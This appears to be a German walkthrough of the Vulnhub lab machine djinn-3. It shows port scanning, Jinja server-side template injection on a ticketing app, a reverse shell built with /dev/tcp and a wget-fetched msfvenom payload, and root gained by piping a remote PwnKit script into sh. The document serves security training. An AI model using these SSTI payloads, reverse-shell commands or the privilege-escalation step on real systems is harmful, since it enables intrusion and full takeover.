djinn-3 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb

Inhaltsverzeichnis

Reconnaissance

Wir beginnen mit der Reconnaissance, um Informationen über das Zielsystem zu sammeln. Dies umfasst das Scannen des Netzwerks und das Auflisten von Hosts, um potenzielle Angriffspunkte zu identifizieren.

┌──(root㉿CCat)-[~]
└─# ARP-Scan
192.168.2.106 08:00:27:0d:d2:aa PCS Systemtechnik GmbH

ARP-Scan zeigt uns die MAC-Adresse und den Hersteller der Netzwerkkarte des Ziels. Dies kann hilfreich sein, um das Betriebssystem oder die verwendete Virtualisierungstechnologie zu bestimmen.

┌──(root㉿CCat)-[~]
└─# /etc/hosts
192.168.2.106 djinn3.vln

Der Eintrag in der /etc/hosts-Datei ermöglicht uns, das Zielsystem über den Hostnamen `djinn3.vln` anzusprechen. Dies erleichtert die weitere Analyse und das Testen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-23 14:19 CEST
Nmap scan report for djinn3.vln (192.168.2.106)
Host is up (0.00012s latency).
Not shown: 65531 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e6:44:23:ac:b2:d9:82:e7:90:58:15:5e:40:23:ed:65 (RSA)
| 256 ae:04:85:6e:cb:10:4f:55:4a:ad:96:9e:f2:ce:18:4f (ECDSA)
|_ 256 f7:08:56:19:97:b5:03:10:18:66:7e:7d:2e:0a:47:42 (ED25519)
80/tcp open http lighttpd 1.4.45
|_http-title: Custom-ers
|_http-server-header: lighttpd/1.4.45
5000/tcp open http Werkzeug httpd 1.0.1 (Python 3.6.9)
|_http-server-header: Werkzeug/1.0.1 Python/3.6.9
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
31337/tcp open Elite?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL:
| username>
| GenericLines, GetRequest, HTTPptions, RTSPRequest, SIPptions:
| username> password> authentication failed
| Help:
| username> password>
| RPCCheck:
| username> Traceback (most recent call last):
| File "/opt/.tick-serv/tickets.py", line 105, in
| main()
| File "/opt/.tick-serv/tickets.py", line 93, in main
| username = input("username> ")
| File "/usr/lib/python3.6/codecs.py", line 321, in decode
| (result, consumed) = self._buffer_decode(data, self.errors, final)
| UnicodeDecodeError: 'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte
| SSLSessionReq:
| username> Traceback (most recent call last):
| File "/opt/.tick-serv/tickets.py", line 105, in
| main()
| File "/opt/.tick-serv/tickets.py", line 93, in main
| username = input("username> ")
| File "/usr/lib/python3.6/codecs.py", line 321, in decode
| (result, consumed) = self._buffer_decode(data, self.errors, final)
| UnicodeDecodeError: 'utf-8' codec can't decode byte 0xd7 in position 13: invalid continuation byte
| TerminalServerCookie:
| username> Traceback (most recent call last):
| File "/opt/.tick-serv/tickets.py", line 105, in
| main()
| File "/opt/.tick-serv/tickets.py", line 93, in main
| username = input("username> ")
| File "/usr/lib/python3.6/codecs.py", line 321, in decode
|_ (result, consumed) = self._buffer_decode(data, self.errors, final)
MAC Address: 08:00:27:0D:D2:AA (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: S: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 0.12 ms djinn3.vln (192.168.2.106)

Nmap identifiziert offene Ports und Dienste auf dem Zielsystem. Besonders interessant sind: - SSH (Port 22): Ermöglicht die sichere Fernanmeldung. - HTTP (Port 80): Ein Webserver, der möglicherweise anfällige Anwendungen hostet. - HTTP (Port 5000): Ein weiterer Webserver mit Werkzeug/Python. - Port 31337: Ein benutzerdefinierter Dienst mit Authentifizierungsaufforderung. Die Werkzeug-Version (Python 3.6.9) deutet auf veraltete Software hin, die bekannte Schwachstellen aufweisen könnte.

Web Enumeration

Nachdem wir die offenen Ports identifiziert haben, konzentrieren wir uns auf die Webserver, um weitere Informationen zu sammeln und potenzielle Schwachstellen zu finden.

┌──(root㉿CCat)-[~]
└─# curl --verbose -I http://$IP:8080 -s
* Host djinn3.vln:80 was resolved.
* IPv6: (none)
* IPv4: 192.168.2.106
* Trying 192.168.2.106:80...
* Connected to djinn3.vln (192.168.2.106) port 80
> HEAD / HTTP/1.1
> Host: djinn3.vln
> User-Agent: curl/8.9.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 K
HTTP/1.1 200 K
< Content-Type: text/html
Content-Type: text/html
< Accept-Ranges: bytes
Accept-Ranges: bytes
< ETag: "2066499037"
ETag: "2066499037"
< Last-Modified: Tue, 19 May 2020 14:46:41 GMT
Last-Modified: Tue, 19 May 2020 14:46:41 GMT
< Content-Length: 1414
Content-Length: 1414
< Date: Mon, 23 Sep 2024 12:21:00 GMT
Date: Mon, 23 Sep 2024 12:21:00 GMT
< Server: lighttpd/1.4.45
Server: lighttpd/1.4.45
<
* Connection #0 to host djinn3.vln left intact

Wir senden eine HEAD-Anfrage an den Webserver auf Port 80, um die Header-Informationen abzurufen. Dies gibt uns Informationen über den Server (lighttpd/1.4.45) und den Inhaltstyp (text/html).

- Nikto v2.5.0
+ Target IP: 192.168.2.106
+ Target Hostname: 192.168.2.106
+ Target Port: 80
+ Start Time: 2024-09-23 14:21:00 (GMT2)

+ Server: lighttpd/1.4.45
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ PTINS: Allowed HTTP Methods: PTINS, GET, HEAD, PST .
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2024-09-23 14:21:30 (GMT2) (30 seconds)

+ 1 host(s) tested

Nikto findet auf Port 80 verschiedene potenzielle Sicherheitsprobleme: - Fehlende X-Frame-Options und X-Content-Type-Options Header: Erhöhen das Risiko von Clickjacking- und MIME-Sniffing-Angriffen. - Interessante HTTP-Methoden PTINS und PST. - Fund einer Datei `#wp-config.php#`: Dies ist höchstwahrscheinlich eine Backup-Datei, die sensible Informationen wie Datenbank-Zugangsdaten enthalten könnte.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.106/index.html (Status: 200) [Size: 1414]
http://192.168.2.106/images (Status: 301) [Size: 0] [--> http://192.168.2.106/images/]

Gobuster findet die Datei `/index.html` und das Verzeichnis `/images`.

Initial Access

Nach der Enumeration der Webserver untersuchen wir die gefundenen Webseiten und den Dienst auf Port 31337.

Die Webseite auf Port 80 scheint eine einfache Informationsseite zu sein.

webenum http://192.168.2.106/index.html
Home Blog About us Contact

Customize everything

We are a new startup that believe in customization of everything whether it's a text editor that you write code in or a ticketing software that you use it should be customized according to your needs. We will be helping our customer to get the best customization possible for them.

Currently our pricing is also very cheap, just for a 5 USD you can get your own customized software/tools.

Copyright mzfr.me ©2020. Design by PHPLD Templates.

Die Webseite auf Port 5000 ist ein Ticketing-System im Entwicklungsstadium.

http://192.168.2.106:5000/
This ticketing software is under development, if you find any issue please report it to admin
# ID Title Status Link
1 2792 Add authentication to the ticket managment system. open link
2 4567 Remove default user guest from the ticket creation service. open link
3 8345 Error while updating postgres queries In progress link
4 7723 Jack will temporarily handling the risk limit UI open link
5 2984 Update the user information In progress link
6 2973 Complete the honeypot project In progress link
view-source:http://192.168.2.106:5000/?id=2792
Add authentication to the ticket managment system.

Status: open
ID: 2792
Description:

Currently the ticket management and viewing system is open and doesn't require any kind of authorization. We should add the support for authorization via passwords and also via user API key or token.

Sorry for the bright page, we are working on some beautiful CSS

Wir untersuchen den Dienst auf Port 31337.

┌──(root㉿CCat)-[~]
└─# nc -vv djinn3.vln 31337
djinn3.vln [192.168.2.106] 31337 (?) open
username> guest
password> guest

Welcome to our own ticketing system. This application is still under
development so if you find any issue please report it to mail@mzfr.me

Enter "help" to get the list of available commands.

> id
Wrong choice of words
> 5000
Wrong choice of words
> help

help Show this menu
update Update the ticketing software
open Open a new ticket
close Close an existing ticket
exit Exit

Wir verbinden uns mit dem Dienst auf Port 31337 und melden uns mit den Anmeldedaten `guest:guest` an. Der Dienst scheint eingeschränkt zu sein und akzeptiert nur bestimmte Befehle.

Proof of Concept: SSTI-Exploitation

Wir vermuten, dass das Ticketing-System auf Port 5000 anfällig für Server-Side Template Injection (SSTI) sein könnte. Wir versuchen, dies auszunutzen, indem wir ein neues Ticket mit einer SSTI-Payload erstellen.

┌──(root㉿CCat)-[~]
└─# curl -s http://djinn3.vln:5000/ | html2text
This ticketing software is under development, if you find any issue please
report it to admin
# ID Title Status Link
1 2792 Add authentication to the ticket managment system. open link
2 4567 Remove default user guest from the ticket creation open link
service.
3 8345 Error while updating postgres queries In progress link
4 7723 Jack will temporarily handling the risk limit UI open link
5 2984 Update the user information In progress link
6 2973 Complete the honeypot project Complete link
7 2916 ssti ben open link
8 2843 ssti open link
9 3309 ben open link
10 4348 ben open link
> open
Title: {{7*'7'}}
Description: {{7*'7'}}

Wir erstellen ein neues Ticket über die Webseite auf Port 5000 und injizieren eine SSTI-Payload im Titel und in der Beschreibung.

┌──(root㉿CCat)-[~]
└─# curl -s http://djinn3.vln:5000/ | html2text
This ticketing software is under development, if you find any issue please
report it to admin
# ID Title Status Link
1 2792 Add authentication to the ticket managment system. open link
2 4567 Remove default user guest from the ticket creation open link
service.
3 8345 Error while updating postgres queries In progress link
4 7723 Jack will temporarily handling the risk limit UI open link
5 2984 Update the user information In progress link
6 2973 Complete the honeypot project In progress link
7 2916 ssti ben open link
8 2843 ssti open link
9 3309 ben open link
10 4348 ben open link
11 1890 {{7*'7'}} Complete link
┌──(root㉿CCat)-[~]
└─# curl -s http://djinn3.vln:5000/ | html2text
This ticketing software is under development, if you find any issue please
report it to admin
# ID Title Status Link
1 2792 Add authentication to the ticket managment system. open link
2 4567 Remove default user guest from the ticket creation open link
service.
3 8345 Error while updating postgres queries In progress link
4 7723 Jack will temporarily handling the risk limit UI open link
5 2984 Update the user information In progress link
6 2973 Complete the honeypot project Complete link
7 2916 ssti ben open link
8 2843 ssti open link
9 3309 ben open link
10 4348 ben open link
11 1890 {{7*'7'}} Complete link
12 3709 {{7*7}} Complete link
┌──(root㉿CCat)-[~]
└─# curl -s http://djinn3.vln:5000/?id=3709
ID : 3709
49

Wir rufen das Ticket mit der ID 3709 auf und stellen fest, dass die Payload `{{7*7}}` erfolgreich zu `49` evaluiert wurde. Dies bestätigt die SSTI-Schwachstelle.

┌──(root㉿CCat)-[~]
└─# curl -s http://djinn3.vln:5000/ | html2text
This ticketing software is under development, if you find any issue please
report it to admin
# ID Title Status Link
1 2792 Add authentication to the ticket managment system. open link
2 4567 Remove default user guest from the ticket creation open link
service.
3 8345 Error while updating postgres queries In progress link
4 7723 Jack will temporarily handling the risk limit UI open link
5 2984 Update the user information In progress link
6 2973 Complete the honeypot project Complete link
7 2916 ssti ben open link
8 2843 ssti open link
9 3309 ben open link
10 4348 ben open link
11 1890 {{7*'7'}} Complete link
12 3709 {{7*7}} Complete link
13 2825 {{config.__class__.__init__.__globals__['os'].popen Complete link
('ls').read()}}
┌──(root㉿CCat)-[~]
└─# curl -s http://djinn3.vln:5000/?id=2825
data.json
static
templates
webapp.py

Wir verwenden eine komplexere Payload, um den Inhalt des aktuellen Verzeichnisses aufzulisten.

┌──(root㉿CCat)-[~]
└─# curl -s http://djinn3.vln:5000/ | html2text
This ticketing software is under development, if you find any issue please
report it to admin
# ID Title Status Link
1 2792 Add authentication to the ticket managment system. open link
2 4567 Remove default user guest from the ticket creation open link
service.
3 8345 Error while updating postgres queries In progress link
4 7723 Jack will temporarily handling the risk limit UI open link
5 2984 Update the user information In progress link
6 2973 Complete the honeypot project Complete link
7 2916 ssti ben open link
8 2843 ssti open link
9 3309 ben open link
10 4348 ben open link
11 1890 {{7*'7'}} Complete link
12 3709 {{7*7}} Complete link
13 2825 {{config.__class__.__init__.__globals__['os'].popen Complete link
('ls').read()}}
{{config.__class__.__init__.__globals__['os'].popen 14 2663 ('bash -i >& /dev/tcp/192.168.2.199/4444 0>&1').read Complete link
()}}

Nun versuchen wir, eine Reverse-Shell über die SSTI-Schwachstelle zu erlangen.

Privilege Escalation

Nachdem wir die SSTI-Schwachstelle identifiziert haben und in der Lage sind, Befehle auszuführen, versuchen wir nun eine Reverse-Shell zu etablieren, um weiteren Zugriff zu erlangen und möglicherweise unsere Privilegien zu erweitern.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...

Wir starten einen Netcat-Listener auf unserem Angriffssystem, um die Reverse-Shell zu empfangen.

┌──(root㉿CCat)-[~]
└─# msfvenom -p cmd/unix/reverse_bash lhost=192.168.2.199 lport=4444 -f raw -o revshell.sh
[-] No platform was selected, choosing MsfModulePlatformUnix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder specified, outputting raw payload
Payload size: 77 bytes
Saved as: revshell.sh

Wir erstellen eine Reverse-Bash-Payload mit `msfvenom`.

> open
Title: {{config.__class__.__init__.__globals__['os'].popen('wget http://192.168.2.199:8000/revshell.sh - /tmp/revshell.sh').read()}}
Description: {{config.__class__.__init__.__globals__['os'].popen('wget http://192.168.2.199:8000/revshell.sh - /tmp/revshell.sh').read()}}

Wir erstellen ein neues Ticket mit der Payload, um die Reverse-Shell auf das Zielsystem herunterzuladen.

┌──(root㉿CCat)-[~]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Wir starten einen HTTP-Server auf unserem Angriffssystem, um die Reverse-Shell bereitzustellen.

┌──(root㉿CCat)-[~]
└─# curl -s http://djinn3.vln:5000/ | html2text
This ticketing software is under development, if you find any issue please
report it to admin
# ID Title Status Link
1 2792 Add authentication to the ticket managment system. open link
2 4567 Remove default user guest from the ticket creation open link
service.
3 8345 Error while updating postgres queries In progress link
4 7723 Jack will temporarily handling the risk limit UI open link
5 2984 Update the user information In progress link
6 2973 Complete the honeypot project In progress link
7 2916 ssti ben open link
8 2843 ssti open link
9 3309 ben open link
10 4348 ben open link
11 1890 {{7*'7'}} open link
12 3709 {{7*7}} open link
13 2825 {{config.__class__.__init__.__globals__['os'].popen open link
('ls').read()}}
{{config.__class__.__init__.__globals__['os'].popen
14 2663 ('bash -i >& /dev/tcp/192.168.2.199/4444 0>&1').read open link
()}}
{{config.__class__.__init__.__globals__['os'].popen
15 2700 ('wget http://192.168.2.199:8000/revshell.sh - /tmp/ open link
revshell.sh').read()}}
┌──(root㉿CCat)-[~]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.2.106 - - [23/Sep/2024 16:13:03] "GET /revshell.sh HTTP/1.1" 200 -
192.168.2.106 - - [23/Sep/2024 16:13:03] "GET /revshell.sh HTTP/1.1" 200 -

Wir starten einen zweiten HTTP-Server auf Port 8000, um den Download der Reverse-Shell zu protokollieren.

> open
Title: {{config.__class__.__init__.__globals__['os'].popen('bash /tmp/revshell.sh').read()}}
Description: {{config.__class__.__init__.__globals__['os'].popen('bash /tmp/revshell.sh').read()}}

Wir erstellen ein neues Ticket mit der Payload, um die heruntergeladene Reverse-Shell auszuführen.

┌──(root㉿CCat)-[~]
└─# curl -s http://djinn3.vln:5000/ | html2text
This ticketing software is under development, if you find any issue please
report it to admin
# ID Title Status Link
1 2792 Add authentication to the ticket managment system. open link
2 4567 Remove default user guest from the ticket creation open link
service.
3 8345 Error while updating postgres queries In progress link
4 7723 Jack will temporarily handling the risk limit UI open link
5 2984 Update the user information In progress link
6 2973 Complete the honeypot project In progress link
7 2916 ssti ben open link
8 2843 ssti open link
9 3309 ben open link
10 4348 ben open link
11 1890 {{7*'7'}} open link
12 3709 {{7*7}} open link
13 2825 {{config.__class__.__init__.__globals__['os'].popen open link
('ls').read()}}
{{config.__class__.__init__.__globals__['os'].popen
14 2663 ('bash -i >& /dev/tcp/192.168.2.199/4444 0>&1').read open link
()}}
{{config.__class__.__init__.__globals__['os'].popen
15 2700 ('wget http://192.168.2.199:8000/revshell.sh - /tmp/ open link
revshell.sh').read()}}
16 2137 {{config.__class__.__init__.__globals__['os'].popen open link
('bash /tmp/revshell.sh').read()}} {{config.__class__.__init__.__globals__['os'].popen
17 5264 ('wget http://192.168.2.199:8000/revshell.sh - /tmp/ open link
revshell.sh').read()}} 18 1294 {{config.__class__.__init__.__globals__['os'].popen open link
('bash /tmp/revshell.sh').read()}}

Wir triggern die Ausführung der Reverse-Shell.

┌──(root㉿CCat)-[~]
└─# curl -s http://djinn3.vln:5000/?id=1294
┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.106] 56060

**Fantastisch! Die Reverse-Shell-Verbindung war erfolgreich!** Wir haben eine Shell auf dem Zielsystem als Benutzer `www-data` erhalten.

Nachdem wir eine Shell als `www-data` erhalten haben, suchen wir nach Möglichkeiten, unsere Privilegien zu erhöhen.

www-data@djinn3:/opt/.web$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Wir bestätigen, dass wir als Benutzer `www-data` angemeldet sind.

www-data@djinn3:/opt/.web$ find / -type f -perm -4000 -ls 2>/dev/null
524318 44 -rwsr-xr-x 1 root root 44664 Mar 23 2019 /bin/su
524426 28 -rwsr-xr-x 1 root root 26696 Mar 5 2020 /bin/umount
524422 44 -rwsr-xr-x 1 root root 43088 Mar 5 2020 /bin/mount
543609 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
528884 64 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping
527702 76 -rwsr-xr-x 1 root root 75824 Mar 23 2019 /usr/bin/gpasswd
545941 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
527699 76 -rwsr-xr-x 1 root root 76496 Mar 23 2019 /usr/bin/chfn
527700 44 -rwsr-xr-x 1 root root 44528 Mar 23 2019 /usr/bin/chsh
524525 148 -rwsr-xr-x 1 root root 149080 Jan 31 2020 /usr/bin/sudo
531255 20 -rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils
527703 60 -rwsr-xr-x 1 root root 59640 Mar 23 2019 /usr/bin/passwd
532541 24 -rwsr-xr-x 1 root root 22520 Mar 27 2019 /usr/bin/pkexec
547237 40 -rwsr-xr-x 1 root root 37136 Mar 23 2019 /usr/bin/newuidmap
547236 40 -rwsr-xr-x 1 root root 37136 Mar 23 2019 /usr/bin/newgidmap
524323 40 -rwsr-xr-x 1 root root 40344 Mar 23 2019 /usr/bin/newgrp
524868 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
543653 428 -rwsr-xr-x 1 root root 436552 Mar 4 2019 /usr/lib/openssh/ssh-keysign
143782 100 -rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
142722 108 -rwsr-sr-x 1 root root 109432 ct 30 2019 /usr/lib/snapd/snap-confine
532572 16 -rwsr-xr-x 1 root root 14328 Mar 27 2019 /usr/lib/policykit-1/polkit-agent-helper-1
526856 44 -rwsr-xr-- 1 root messagebus 42992 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

Wir suchen nach SUID-Binaries, die potenziell zur Privilegienerhöhung ausgenutzt werden könnten.

www-data@djinn3:/opt/.web$ sudo -l
[sudo] password for www-data:

Wir versuchen, die `sudo -l`-Option zu verwenden, um zu sehen, welche Befehle der Benutzer `www-data` mit Root-Rechten ausführen darf.

www-data@djinn3:/opt/.web$ echo "/bin/sh <$(tty) >$(tty) 2>$(tty)" | at now; tail -f /dev/null
You do not have permission to use at.

Wir versuchen, den Befehl `at` zu verwenden, um einen Befehl mit Root-Rechten auszuführen, aber der Benutzer `www-data` hat keine Berechtigung, `at` zu verwenden.

www-data@djinn3:/opt/.web$ cd /tmp/
www-data@djinn3:/tmp$
www-data@djinn3:/tmp$ sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
root@djinn3:/tmp#

**Fantastisch! Der Root-Zugriff war erfolgreich!** Wir laden das PwnKit-Skript herunter und führen es aus, um Root-Rechte zu erlangen.

root@djinn3: id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Wir bestätigen, dass wir jetzt Root-Rechte haben.

root@djinn3: ls
proof.sh
root@djinn3: ./proof.sh
TERM environment variable not set.
_ _ _ _ _
/ \ _ __ ___ __ _ ___(_)_ __ __ _| | | |
/ _ \ | '_ ` _ \ / _` |_ / | '_ \ / _` | | | |
/ ___ \| | | | | | (_| |/ /| | | | | (_| |_|_|_|
/_/ \_\_| |_| |_|\__,_/___|_|_| |_|\__, (_|_|_)
|___/
djinn-3 pwned...
__________________________________________________________________________

Proof: VGhhbmsgeW91IGZvciB0cnlpbmcgZGppbm4zID0K
Path: /root
Date: Mon Sep 23 19:48:59 IST 2024
Whoami: root
__________________________________________________________________________

By @0xmzfr

Special thanks to @DCAU7 for his help on Privilege escalation process
And also Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)

If you enjoyed this then consider donating (https://blog.mzfr.me/support/)
so I can continue to make these kind of challenges.

Proof of Concept: Root-Zugriff erlangt

Der folgende Befehl zeigt, dass Root-Privilegienerlangung über den PwnKit Exploit erfolgt ist.

Privilege Escalation erfolgreich

Flags

             / \    _ __ ___    __ _ ___(_)_ __ __ _| | | | 
            / _ \  | '_ ` _ \ / _` |_ / | '_ \ / _` | | | | 
           / ___ \ | | | | | (_| |/ /| | | | | (_|  |_|_|_| 
          /_/ \_\_ | |_| |_|\__,_/___|_|_| |_|\__,  (_|_|_)
           |___/
        djinn-3 pwned...__________________________________________________________________________
         
         Proof: VGhhbmsgeW91IGZvciB0cnlpbmcgZGppbm4zID0K
         Path: /root
         Date: Mon Sep 23 19:48:59 IST 2024
         Whoami: root
         __________________________________________________________________________

         By @0xmzfr
         
         Special thanks to @DCAU7 for his help on Privilege escalation process
         And also Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)
                               
         If you enjoyed this then consider donating (https://blog.mzfr.me/support/)
         so I can continue to make these kind of challenges.